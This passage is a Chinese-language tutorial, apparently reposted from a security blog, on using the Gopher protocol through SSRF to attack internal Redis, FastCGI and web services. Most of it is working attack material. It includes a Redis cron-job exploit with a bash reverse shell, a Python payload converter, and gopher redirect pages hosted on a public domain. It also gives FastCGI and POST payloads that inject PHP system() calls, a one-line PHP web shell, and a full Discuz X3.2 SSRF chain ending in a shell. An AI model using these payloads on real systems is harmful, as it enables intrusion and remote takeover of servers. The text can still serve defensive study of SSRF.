原文章地址

长亭科技-利用 Gopher 协议拓展攻击面: https://blog.chaitin.cn/gopher-attack-surfaces/
长亭科技-利用 Gopher 协议拓展攻击面: https://blog.chaitin.cn/gopher-attack-surfaces/

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

攻击面测试

环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

  1. <?php
  2. $ch = curl_init();
  3. curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  5. curl_setopt($ch, CURLOPT_HEADER, 0);
  6. $output = curl_exec($ch);
  7. curl_close($ch);
  8. ?>

攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

  1. redis-cli -h $1 flushall
  2. echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
  3. redis-cli -h $1 config set dir /var/spool/cron/
  4. redis-cli -h $1 config set dbfilename root
  5. redis-cli -h $1 save

这时候,想要抓取redis攻击tcp的数据包,可以使用socat端口转发。系统上面没有socat的话通过yum安装一下

  1. socat -v tcp-listen:2222,fork tcp-connect:localhost:6379

利用这个脚本攻击自身并抓包得到数据流:
image.png

由于redis RESP协议的格式问题,所以需要将上面抓取到的数据包转换成gopher协议并且支持RESP的格式,这里利用chou的脚本。

  1. #coding: utf-8
  2. #author: JoyChou
  3. import sys
  4. exp = ''
  5. with open(sys.argv[1]) as f:
  6. for line in f.readlines():
  7. if line[0] in '><+':
  8. continue
  9. # 判断倒数第2、3字符串是否为\r
  10. elif line[-3:-1] == r'\r':
  11. # 如果该行只有\r,将\r替换成%0a%0d%0a
  12. if len(line) == 3:
  13. exp = exp + '%0a%0d%0a'
  14. else:
  15. line = line.replace(r'\r', '%0d%0a')
  16. # 去掉最后的换行符
  17. line = line.replace('\n', '')
  18. exp = exp + line
  19. # 判断是否是空行,空行替换为%0a
  20. elif line == '\x0a':
  21. exp = exp + '%0a'
  22. else:
  23. line = line.replace('\n', '')
  24. exp = exp + line
  25. print exp

转换命令 python redis_ssrf.py socat.log 就会生成poyload

然后将payload放入公网的文件gopher.php中

/

  1. <?php
  2. header("Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.1.145/3333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");
  3. ?>

这个时候,kali开启监听 nc-lvp 3333,discuz访问payload就会收到反弹shell
payload:[http://192.168.1.136/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://www.whit3.top/gopher.php?data=he2lo.jpg[/img](http://192.168.1.136/upload/forum.php?mod=ajax&action=downremoteimg&message=%5bimg%5dhttp://www.whit3.top/gopher.php?data=he2lo.jpg%5b/img)]
image.png
改成适配于 Gopher 协议的 URL:

  1. gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
image.png

攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

首先构造 exp:
image.png

构造 Gopher 协议的 URL:

  1. gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
image.png

攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

  1. <?php system($_POST[e]);?>

利用方式:

  1. POST /exp.php HTTP/1.1
  2. Host: 127.0.0.1
  3. User-Agent: curl/7.43.0
  4. Accept: */*
  5. Content-Length: 49
  6. Content-Type: application/x-www-form-urlencoded
  7. e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

  1. gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
image.png

攻击实例

利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。

image.png

image.png

image.png

测试 Gopher 协议是否可用,请求:

  1. http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:
很多网站是不允许使用 ftp dict gopher协议去请求的,所以需要php函数 header来绕过

  1. <?php
  2. header("Location: gopher://127.0.0.1:2333/_test");
  3. ?>

监听 2333 端口,访问上述 URL 即可验证:
image.png

构造 FastCGI 的 Exp:

  1. <?php
  2. header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
  3. ?>

请求:

  1. http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D

即可在 2333 端口上收到反弹的 shell:
image.png

攻击视频:

2016-06-02 10-59-32.mp4 (1.99MB)

系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)